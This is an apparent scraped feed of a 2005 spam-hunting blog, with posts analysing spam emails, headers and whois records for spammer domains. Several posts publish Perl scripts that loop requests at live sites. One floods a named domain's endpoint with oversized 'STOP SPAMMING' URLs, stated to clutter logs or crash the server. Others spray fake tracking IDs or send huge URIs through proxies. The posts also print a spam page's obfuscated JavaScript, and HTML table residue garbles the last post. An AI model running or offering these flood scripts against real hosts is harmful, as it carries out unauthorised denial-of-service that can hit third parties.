$req->content($yousuck);<br /><br /> # Pass request to the user agent and get a response back<br /> my $res = $ua->request($req);<br /><br /> # Check the outcome of the response<br /> if ($res->is_success) {<br /> print $proxy,"\n";<br /> }<br /> else {<br /> print $proxy . " " . $res->status_line. "\n";<br /> }<br /><br />}<br /><br />sub crap<br />{<br /> my $iterations=$_[0];<br /> my $junk;<br /> my $count;<br /> for ($count=1; $count<$iterations; $count++)<br /> {<br /> $junk.=chr(rand(256));<br /> }<br />}<br /><br />sub deliver_message<br />{<br /> my $url=$_[0];<br /> foreach my $proxy (@proxies)<br /> {<br /> send_request($url,$proxy);<br /> sleep(1);<br /> }<br />}<br /><br />sub main<br />{<br /> while (0)<br /> {<br /> deliver_message($target); <br /> }<br /><br /><br />}<div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-112690258238251280?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com0tag:blogger.com,1999:blog-8256693.post-1116824405623625162005-05-23T00:54:00.000-04:002005-05-23T01:01:14.920-04:00MS Office 2003 Pro $69.95 WindowsThis is just to show what a poor spam looks like<br /><br />All the links in the email look like this:<br />http://%25rnd_url/?h<br /><br />The %25rnd_url portion means that this came from a "kit" and the spammer either ran the generation incorrectly or the original author is an idiot. I could see either case holding true. I'm too tired to track this scum down tonight. Maybe later :)<br /><br />For some reason there is a google adsense embedded. I would imagine this could identify the person if needed<br /><textarea><br />http://pagead2.googlesyndication.com/pagead/adclick?sa=l&adurl=http://www.academicsuperstore.com/q/tname/f/item-index/v/Creative%2BSuite%2BPremium/index.html%3Fsourcecode%3Dlcg%26promocode%3D0D070UXX&ai=BIxNDxmGRQoneCaeMsgGW-6ipD9fHggaP572NAcCNtwGQmjsQARgBIIaPgAIoA0iIOaoBEEFjY291bnRBZ2UzMHRvNjCyAQlnbWFpbC5jb23IAQHaATBodHRwOi8vZ21haWwuY29tL29qdGFnZjI1NTE2NzhvMGVvdmE2ZzJzbjNlaHNybW7oAQE&num=1<br /></textarea><div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-111682440562362516?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com0tag:blogger.com,1999:blog-8256693.post-1116334136376617452005-05-17T08:38:00.000-04:002005-05-17T08:48:56.383-04:00QuarkXPress 6.0 $60I've begun to setup up spam catching accounts and recently this little gem came my way. The idea is generally they scam you for money by offering really cheap software. If you're lucky (sort of) you will get a pirated version of the software. More then likely you will get nothing. This spammer employs and ID system to figure out which emails are live. A 33 character key is used like this <br><br />http://5bbegging.bubxsx.info/?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />After you visit that url you are automatically redirected back to '/' and shown the selection of software. WARNING: JUST LOOKING AT THE IMAGES IN THE EMAIL WILL LIKELY TAG YOU!<br />So this is why I am using catcher accounts :) I abandon them all the time so I don't care if they are tagged. To further annoy this person I have refined my earlier false positive generator. I used a random password generator script found <a href="http://www.cgi-interactive-uk.com/random_password_generator.html">here</a> coupled with psudeo random number generation to make a nice fake ID which will hit the website. The output isn't very pretty, just a look at the hash to make sure it is somewhat random and the HTTP code to let me know it's working. <br /><br /><block><br />MTE0MjI1NDYzMjg3Ljc5ODp4MzVqOGU 200 OK<br />OTMyMzg1ODg5MDcuNDA5ODpob190cXA 200 OK<br />MjkxMzU1Nzg2MzkuNTEzNTp2d3g0dCU 200 OK<br />Nzc4NDE4ODU2NjYuNTcwNzp3cHJfYjk 200 OK<br />NDM1NDM1NzczNjcuMDE4OTptX3I1MXg 200 OK<br />NzQxNjA5NDQwMjAuNjYyNTo0anpxa2N 200 OK<br />MTQ0ODU5MDUzODkwLjc3MTp5ZjFsfHN 200 OK<br />MTAwOTkzMjE0NTEwLjU1ODpqcGYtcCV 200 OK<br />MTM5NjM3MTk0ODk5LjQwNjppdmhmdW1 200 OK<br />MTY5NzA4MTQyNDM4LjU3NjpyZWYtJXI 200 OK<br /></block><br /><br />Here is the code which is free to use in the pursuit of spammer hunting. <br /><br />#!/usr/bin/perl -w<br />use strict;<br />use LWP::UserAgent;<br />use MIME::Base64;<br /><br /><br /># Create a user agent object<br />my $ua = LWP::UserAgent->new;<br />$ua->agent("Mozilla/8.0"); # pretend we are very capable browser :)<br /><br /><br />my $baseURL='http://5bbegging.bubxsx.info/?';<br /><br />sub randomPassword {<br /> my $password;<br /> my $_rand;<br /><br /> my $password_length = $_[0];<br /> if (!$password_length) {<br /> $password_length = 10;<br /> }<br /><br /> my @chars = split(" ",<br /> "a b c d e f g h i j k l m n o p q r s t u v w x y z<br /> - _ % # |<br /> 0 1 2 3 4 5 6 7 8 9");<br /><br /> srand;<br /><br /> for (my $i=0; $i <= $password_length ;$i++) {<br /> $_rand = int(rand 41);<br /> $password .= $chars[$_rand];<br /> }<br /> return $password;<br />}<br /><br />sub getPage<br />{<br />my $key = localtime();<br />#removing anything that is not a digit<br />$key=~s/\D//g;<br />$key=rand($key);<br />my $text=randomPassword();<br />my $encoded = encode_base64("$key:$text");<br /><br />#original email had a 16 char hash so just making sure mine is similar<br />my $hash=substr($encoded,0,31);<br /><br />my $req = HTTP::Request->new(GET => $baseURL.$hash);<br />$req->header('Accept' => 'text/html');<br /><br /># Pass request to the user agent and get a response back<br />my $res = $ua->request($req);<br /><br /># Check the outcome of the response<br />if ($res->is_success) {<br />print $hash . " " .$res->status_line . "\n";<br />}<br />else {<br />print "Error: " . $res->as_string . "\n" if ($res->status_line!~/404/);<br />}<br />}<br /><br />#######################################################<br /># modified so non perl users won't hurt themselves :)<br /># mine is set to 500 and I just run it a few times <br /># a day. feel free to set yours to 9999999999999<br />#######################################################<br />foreach my $try (1..2)<br />{<br />getPage();<br />}<div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-111633413637661745?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com1tag:blogger.com,1999:blog-8256693.post-1111555900761214622005-03-22T23:45:00.000-05:002005-03-23T00:35:56.356-05:00Re: Pharamacy[33:34]<Samad@kaytonelectric.com> <br />Delivered-To: jake@domain.com <br />Received: (qmail 15747 invoked from network); 22 Mar 2005 17:14:52 -0000 <br />Received: from unknown (HELO kaytonelectric.com) (81.158.238.67) <br /> by loop.phpwebhosting.com with SMTP; 22 Mar 2005 17:14:52 -0000 <br />From: "Zofia Flood" <Samad@kaytonelectric.com> <br />To: "Dionysodoros Huff" <jake@domain.com> <br />Subject: Re: Pharamacy[33:34] <br />Date: Tue, 22 Mar 2005 12:11:16 -0500 <br />MIME-Version: 1.0 <br />Content-Type: multipart/alternative; <br /> boundary="----=_NextPart_000_0008_01C52E1D.42405FCE" <br />X-Priority: 3 <br />X-MSMail-Priority: Normal <br />X-Unsent: 1 <br />X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 <br /><br />Hello , Visit Our PharmmacyByMailSHOP and Save 75% <br /><http://www.bx.wc.com.bodpartatthe.com/> <br /><br />Normally these types of URLs are meant to make someone think they are accessing a more reputable site. Generally they are in the same field that they are pitching their wares from. So this one is a bit confusing. wc.com is the home of Williams & Connolly which is a large litigation firm. The spam is obviously trying to sell prescriptions so I'm not real sure what they are trying to do here. Maybe bypass filters?<br /><br />the domain is owned by Richard Syke<br />Domain Name : bodpartatthe.com<br /><br />::Registrant::<br /> Name : Richard Syke<br /> Email : richard_syke@yahoo.com<br /> Address : 27/F One Pacific Place,<br /> Zipcode : HK<br /> Nation : HK<br /> Tel : 1-888-242-0845<br /> Fax : 1-888-242-0845<br /><br />::Administrative Contact::<br /> Name : Richard Syke<br /> Email : richard_syke@yahoo.com<br /> Address : 27/F One Pacific Place,<br /> Zipcode : HK<br /> Nation : HK<br /> Tel : 1-888-242-0845<br /> Fax : 1-888-242-0845<br /><br />::Technical Contact::<br /> Name : Richard Syke<br /> Email : richard_syke@yahoo.com<br /> Address : 27/F One Pacific Place,<br /> Zipcode : HK<br /> Nation : HK<br /> Tel : 1-888-242-0845<br /> Fax : 1-888-242-0845<br /><br />::Name Servers::<br /> ns0.vocalerformancare.com<br /> ns1.vocalerformancare.com<br /><br />::Dates & Status::<br /> Created Date 2005-03-21 07:20:28 EST<br /> Updated Date 2005-03-21 07:20:28 EST<br /> Valid Date 2006-03-21 07:20:28 EST<br /> Status ACTIVE<br /><br />The 'contact info' page lists the address as:<br />Palm Grove House, P.O.Box 438, Road Town, Tortola, British Virgin Islands<br /><br />There is a secure code field in the form so one can not spam them from the web form.<br />IS THIS IRONIC TO ANYONE ELSE?<br /><br />It's like a mugger concerned about being pickpocketed. The system is retarded though.<br />The image is created by going to a page called secure.asp. This page takes a parameter which looks like MIME or something. This creates the same image everytime. So if one knows what the letters are encoded with then they will be able to "guess" the secret code by deriving it from the url supplied in the image.<br />Example:<br />http://www.bx.wc.com.bodpartatthe.com/aspx/secure.asp?text=UhYuh1t=<br />AB392<br /><br />http://www.bx.wc.com.bodpartatthe.com/aspx/secure.asp?text=UTYuh1t=<br />Bb392<br /><br />OK before breaking this .. well I guess it could be classified as crypto but that's sort of stretching the term... let's have some fun with their processes. <br />7 characters and we can just generate our own "image maker". It actually takes more then 7 digits. Since it's aspx (IIS6) there is a sanity checker on the length of the URI. So just putting a few thousand characters got this response:<br /><br />Request-URI Too Large<br />The requested URL's length exceeds the capacity limit for this server.<br /><br />request failed: URI too long<br /><br /><br />This one works though:<br /><form><br /><textarea rows=3 cols=80><br />http://www.bx.wc.com.bodpartatthe.com/aspx/secure.asp?text=0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000=<br /></textarea><br /></form><br /><br />It takes a few seconds to generate too! Let's loop that a few times and see what happens.<br /><br />OK that's looping. Now let's look at this wonderful crypto system. It's using an example pasted from the MSDN site on <a href="http://64.233.187.104/search?q=cache:QWf0Sp8VcJYJ:msdn.microsoft.com/library/en-us/dnnetsec/html/SecNetHT11.asp+secure.asp%3Ftext&hl=en&client=firefox-a">How to Store an Encrypted Connection</a><br />Essentially it's just base64 encoded with a cipher. So I know the input and output values and could just brute force my way through this. I'm going to investigate and see if there is a more elegant solution. Cryptanalysis is really not my strong suit. <br /><br /><br />UH OH!<br />.Error: 500 read timeout<br />Error: 500 Can't connect to www.bx.wc.com.bodpartatthe.com:80 (Bad hostname 'www.bx.wc.com.bodpartatthe.com')<br /><br />I was probobly just firewalled off. Hey maybe that means I won't get anymore spam from them!! hooray!<div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-111155590076121462?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com12tag:blogger.com,1999:blog-8256693.post-1109201311666419912005-02-23T18:18:00.000-05:002005-03-23T00:41:37.850-05:00BlingCash alias (http://goodangerlamb.com/wxv.php)Some may be fooled by the use of javascript encryption but the methods to defeat it and "unlock" what's inside are fairly trivial. In one of my earlier blogs I mention searching out "document.write" and then replacing it with "alert". This will just output the HTML into a harmless alert box that you can decipher on your own. Copying isn't possible though and this became sort of a pain. So I brushed off my ancient javascript foo and came up with this method which I find a little better. First wrap the <script> in a <form> and then create a textarea. instead of using "alert" use "formName.textArea.value=" which will fill in the text area for you. I will demonstrate this using the example below from BlingCash. <br /><form><br /><textarea cols=80 rows=3><br /><form name=o><br /><textarea name="box" cols=80 rows=30></textarea><br /><script language=JavaScript>function decrypt_p(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,2,34,62,41,25,39,40,61,9,0,0,0,0,0,0,47,46,54,36,21,18,17,5,4,22,12,11,14,58,59,23,43,26,52,6,50,3,53,15,35,24,48,0,0,0,0,44,0,20,30,31,57,42,60,8,29,1,37,28,27,19,51,13,33,32,16,45,49,55,0,56,38,10,7);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.o.box.value+=(r)}}decrypt_p("5BkRg6fx@x5RJzhTv@9tzPJRF0dt9mfTL642FnkR9Ufx@xdtyzJuGefTSPfTFUkuFXJZKUoxzboZFU8VKOwZH6_VvcYpy@_Vv6JZSzsVFmfVFXdpOUkRrc8TGLJt9loZzI7TKzfVHK_VFmfVFXdpOUkRrc8TGLJt9loZzI7TKl_TKzoZhzoTv@JRYbwVvzoRO@kpUmkTIUfpGefTIUkTvlkRIzotOzoxzboZFU8VKOwZH6_VvcYpy@kZOm_ZIzotOzoxzboZFU8VKOwZH6_VvcYpzK_ty6_TOXdpSI5jDI5jDbYp9UfZFXJtOKJnKXdpDbYpFPkVgmfV1nfTYbYjzIgTHcsZJ@_RJzkRoXdpDbYpgmfV1nfToUJn1ukRYbYjzIYRvuhRYb7pXW3wXW3wzAdP@x5RHckTvOwtychZvcoxzIdpGyonizhnYbgjDI9qzI7tv6kTIOotSnfT1XdpDbYpSUkT9OotizJnKKJxzIdpGBJZJKknFXdpaI5jvbwx@IYp5S8Vl3QpGIYp5ShZGEkTJKfTYb7tv@kRvc8pGLot9n_ZKXdpFPkVzAdPGIYpGIYp5QJZKzoZO@dPGIYpGIYp5Sotz6JZGyonizhnYbgjDI9qzI7VFnhTvXdpzPfViUfVgSsTD05paIhuGQsT9nkZGQwCmLdCmL46Gb_TOzJZOXwtyzhRyXf6GE5VhO7Vy6JniO7pmLdCmLdCzAdPGIYpGIYpGIYxFc8x@IYpGIYpGIYpGIYxFzkpzK_ty6_TOXdpSI5jDI4jqcYpH6Jn1@JxzQJZKzoZOcwx5L_TKzhpInfuvXdpObYpSPkTycoxzQwwXW3wXW3pGLJtSUJxzSWtoPJTHcwxTm38Pn3M205ptuJZGL_T96_TEnfT1O7VJzoZGQ_TKzotJ@_VGQWw8UWd46L0g1b0V6LNxnbfG2JtFUfVJmkT5ewZy@kRlx42Fzfx@IYpGIYpGIYp5eYRO@dPGIYpGIYp5eYRHckTv@dPGIYpGIYp5bfVl3QpGIYpGIYxUnJZ9z_VvzhpIzou9UJxzIotizJnKKf6Gb5VhN5pEnkZFuf6O19qbIYnvn_Zoz86rI5Vhcwx@IYpGIYpGxdtO@5xSUfTFUfVlx9RlxdZy@kRGefTS6JnSNJxzSsTD@YTylJtFn_TK@YnOUfZYyYnFzhVce72EKsRKbkTJ@_ZSm_Vo@7tyX_2vuonFP7Vvz_21bYpIzou9UJxzQJROlsTO05nH@kZzI7VJ0oZYbYCzIwZHlJZYbwfvchZH@JtzI7ty6_TOXdpSLdCkTdwXcwx5bfxq@bfqccptuLwGQWNtUbxybfx5ewZy@kRlx42r@5xyQJZKzoZO@5xzc8x@IYpGIYpGx42UnJZ9z_Vvz8x@IYpGIYxyShZl3QpGx42Fc8x@IYp5S8Vl3QpGIYp5ShZGEkTJKfTYb7tv@kRvc8pGLot9n_ZKXdpzPkRFPJTzAdPGIYpGIYp5bfVlxdtO@dPGIYpGIYp5bfVlxdtO@dPGIYpGIYp5L_TKzhpUm_tvXdptmknyXJtzI7VJ0oZYbwjzAdwychpHcJRIUkpSPJTD6JtJ@kRI6YpvXJtJ6kp5EkpIzou9UJxzSoZhzo2iU_tycotFn_TK05pr@kZvchTJ@JZbI7ty6_TO05pSLdCkTdwXcYpocoZUXdpgmJn9zsTcEftrloZjuJRKzsVmnkT9U_ty@_Vr6kRH@kRI@7tyXfplEftrloZjuJRKzsVmnkT9U_ty@_Vr6kRH@kRI@7tyXkxyEfx5ewZy@kRlxdtO@dPGIYpGIYp5L_TKzhpUm_tvXdptmknyXJtzI7VJ0oZYbwjzA5fyOwVvX_TmUkpkPJROloZ9WkpUcsTgOgt96kpUUhRrcoZG2JtJ6JnKK_V9IgZgmJn9OYxHO7VFnhTvXdpFUkuFXYZvl_TOmkRJPfTcIgRKzJZO6JnKU_6GQ_T9PfVcI7pmL96kL3wzIYnOUfZYbgTHnkTFPf6OUJTyWoZjuJRKzsVmnkT9U_ty@_Vr6kRH@kRI@7tyXfplboZgPfRvObnr@kRIWon96JZSPfTIUhTFmfTFl82SPJT5egtlx42UPfTF@dPGIYpGIYp5e7tv@kRvc8x@IYpGIYpGxdtO@5xzc8x@IYpGIYpGxdtO@5xzc8x@IYpGIYpGxdtO@5xzc8x@IYpGIYpGxdtO@5xzc8x@IYpGIYxyShZl3QpGx42Fc8x@x42Fmft9Ufx@3Qxyb_Tin8x@x42ozoT9@dP")</script><br /></form><br /></textarea><br /></form><br />Much easier to deal with in this way. I've been toying around in perl with different types of "annoying" things to do. The first is to fill in values for parameters with the max data (around 32K I think). You'll know you've gone way too far when you get a 414 error which suggests the max URI size has been exceeded. <br />It is preferable to see that message and then back off a little to you get a 302 or some other error. The idea is that while running in a loop the entire thing is logged into the web servers error logs. Eventually this will make the logs<br />1) uselessly cluttered with errors<br />2) possibly overflow and stop the server<br /><br />I normally use this as filler<br />my $message="STOP SPAMMING STOP SPAMMING STOP SPAMMING STOP SPAMMING" x 100;<br /><br />So the following is my loopget.pl script which politely asks the spammer to stop spamming me<br /><br />#!/usr/bin/perl -w<br />use strict;<br />use LWP::UserAgent;<br /><br /><br />#copyright 2005 spamhunter<br />#but uh feel free to use this for your own spam hunting adventures. <br />#no really it's ok<br /><br />my $ua = LWP::UserAgent->new;<br />$ua->agent("Mozilla/8.0");<br />my $message="STOP SPAMMING STOP SPAMMING STOP SPAMMING STOP SPAMMING" x 100;<br /><br />my $baseURL='http://www.blingcash.com/hit.php?w=' . $message;<br /><br />sub sendRequest<br />{<br /> my $target=shift;<br /> my $url=$target;<br /> my $req = HTTP::Request->new(GET => "$url");<br /> $req->header('Accept' => 'text/html'); # send request<br /> my $res = $ua->request($req); # check the outcome<br /> if ($res->is_success)<br /> {<br /> return $res->content;<br /> }<br /> else<br /> {<br /> return "Error: " . $res->status_line . "\n";<br /> }<br />}<br /><br />while (1)<br />{<br /> print sendRequest($baseURL);<br />}<div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-110920131166641991?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com2tag:blogger.com,1999:blog-8256693.post-1095107424263568822004-09-13T16:28:00.000-04:002004-09-13T16:31:04.543-04:00Are you people even TRYING anymore?I get a spam today from "Kenneth" with a subject line of "<a href="">It's me, Delilah ODL8710369 from AOL 8d</a>". Come one man, at least make the names match, or make them varients, or at the very least....make them the same gender.
<br />
<br /><div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-109510742426356882?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com0tag:blogger.com,1999:blog-8256693.post-1094956722122717562004-09-11T21:46:00.000-04:002004-09-11T22:39:31.393-04:00Self Milking GirlsReturn-Path: <kevon6hci com=""></kevon6hci></span>
<br />Delivered-To: john@</span>
<br />Received: (qmail 8544 invoked from network); 11 Sep 2004 03:15:12 -0000</span>
<br />Received: from unknown (HELO pD958B23B.dip.t-dialin.net) (217.88.178.59)</span>
<br /> by 2.69-93-235.reverse.theplanet.com with SMTP; 11 Sep 2004 03:15:12 -0000</span>
<br />Received: from starmedia.com (mx1.latinmail.com [62.37.236.140])</span>
<br /> by pD958B23B.dip.t-dialin.net (Postfix) with ESMTP id 6E2B185318</span>
<br /> for <john>; Fri, 10 Sep 2004 20:15:12 -0700</john></span>
<br />Message-ID: <000001c497ad$83f4dc23$310f11c9@starmedia.com></span>
<br />From: "Jas R. Chrian" <kevon6hci com=""></kevon6hci></span>
<br />To: John <john></john></span>
<br />Subject: Self milking girls</span>
<br />Date: Fri, 10 Sep 2004 20:15:12 -0700</span>
<br />MIME-Version: 1.0</span>
<br />Content-Type: multipart/alternative;</span>
<br /> boundary="----=_NextPart_000_0024_55E89199.1ABD4F86"</span>
<br />X-Priority: 3</span>
<br />X-MSMail-Priority: Normal</span>
<br />X-Mailer: Microsoft Outlook Express 6.00.2800.4682</span>
<br />X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2479.0006</span>
<br />X-Virus-Scanned: by AMaViS perl-11 mion</span>
<br />
<br />
<br />there is no shortage of spammers to go after. I haven't even deployed my troll addresses yet but that will be covered in another post. This one is using the same targeting technique of hashes but this time it's embedded in the server name itself.</span>
<br />Again the actual hashes have been modified but the number of characters is preserved</span>
<br />http://Hereford.45839583945867393045.handicaps.hdhda.com/rd/eESw8odWRZ/mekl43WEBDeiw.htm</span>
<br />I'll have to modify my falsePozi.pl script later to work for this scumbag. </span>
<br />Hrm this one is a little tricker and I received a 404. Must be something in the hashes that I messed up. </span>
<br />
<br />OK let's work backwards here, inurl:hdhda.com didn't find anything on google. but the whois revealed this</span>
<br /><map name="global"><area shape="RECT" target="_top" alt="WHOIS" coords="3,5,47,21" href="http://www.blogger.com/en_US/whois/index.jhtml"><area shape="RECT" target="_top" alt="VIEW YOUR ORDER" coords="53,4,127,21" href="http://www.blogger.com/en_US/purchase-it/view-your-order.jhtml?_DARGS=/en_US/droplets/SFStyles.jhtml.1_A&_DAV="><area shape="RECT" target="_top" alt="CUSTOMER SERVICE" coords="130,4,233,22" href="http://www.blogger.com/en_US/help/index.jhtml?_DARGS=/en_US/droplets/SFStyles.jhtml.2_A&_DAV="></map> <table cellspacing="0" cellpadding="0" width="749" border="0"> <tbody><tr><td align="right" width="100%"><table cellspacing="0" cellpadding="0" width="749" border="0"><tbody><tr><td valign="top" align="right" width="100%"><table cellspacing="0" cellpadding="0" width="100%" border="0"><tbody><tr><td valign="top" align="left"><table cellspacing="0" cellpadding="0" border="0"><tbody><tr><td><table cellspacing="0" cellpadding="0" width="739" border="0"><tbody><tr><td><table cellspacing="0" cellpadding="0" width="100%" border="0"><tbody><tr><td valign="top"><table cellspacing="0" cellpadding="0" width="500" border="0"><tbody><tr><td class="calltoaction-Boxborder" valign="top" colspan="3"><table cellspacing="0" cellpadding="0" width="500" border="0"><tbody><tr><td valign="top" width="523"><table class="grayhairlinebox" cellspacing="0" cellpadding="5" width="100%" border="0"><tbody><tr><td colspan="3"><table cellspacing="0" cellpadding="0" width="100%" border="0"><tbody><tr><td colspan="4">
<br /></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody> </table> <map name="global"><area shape="RECT" target="_top" alt="WHOIS" coords="3,5,47,21" href="http://www.blogger.com/en_US/whois/index.jhtml"><area shape="RECT" target="_top" alt="VIEW YOUR ORDER" coords="53,4,127,21" href="http://www.blogger.com/en_US/purchase-it/view-your-order.jhtml?_DARGS=/en_US/droplets/SFStyles.jhtml.1_A&_DAV="><area shape="RECT" target="_top" alt="CUSTOMER SERVICE" coords="130,4,233,22" href="http://www.blogger.com/en_US/help/index.jhtml?_DARGS=/en_US/droplets/SFStyles.jhtml.2_A&_DAV="></map> <table cellspacing="0" cellpadding="0" width="749" border="0"> <tbody><tr><td align="right" width="100%"><table cellspacing="0" cellpadding="0" width="749" border="0"><tbody><tr><td valign="top" align="right" width="100%"><table cellspacing="0" cellpadding="0" width="100%" border="0"><tbody><tr><td valign="top" align="left"><table cellspacing="0" cellpadding="0" border="0"><tbody><tr><td><table cellspacing="0" cellpadding="0" width="739" border="0"><tbody><tr><td><table cellspacing="0" cellpadding="0" width="100%" border="0"><tbody><tr><td valign="top"><table cellspacing="0" cellpadding="0" width="500" border="0"><tbody><tr><td class="calltoaction-Boxborder" valign="top" colspan="3"><table cellspacing="0" cellpadding="0" width="500" border="0"><tbody><tr><td valign="top" width="523"><table class="grayhairlinebox" cellspacing="0" cellpadding="5" width="100%" border="0"><tbody><tr><td colspan="3"><table cellspacing="0" cellpadding="0" width="100%" border="0"><tbody><tr><td colspan="4">
<br /></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody> </table> Registrant:</span>
<br /> Masterly Intl S.A.</span>
<br /> Sabana sur</span>
<br /> 25mts al sur del</span>
<br /> Supermercado AM PM</span>
<br /> San Jose, CR --</span>
<br /> CR</span>
<br /> +011.5068246415 </span>
<br />Fax:+011.5062722279</span>
<br />
<br />
<br />Domain Name: HDHDA.COM</span>
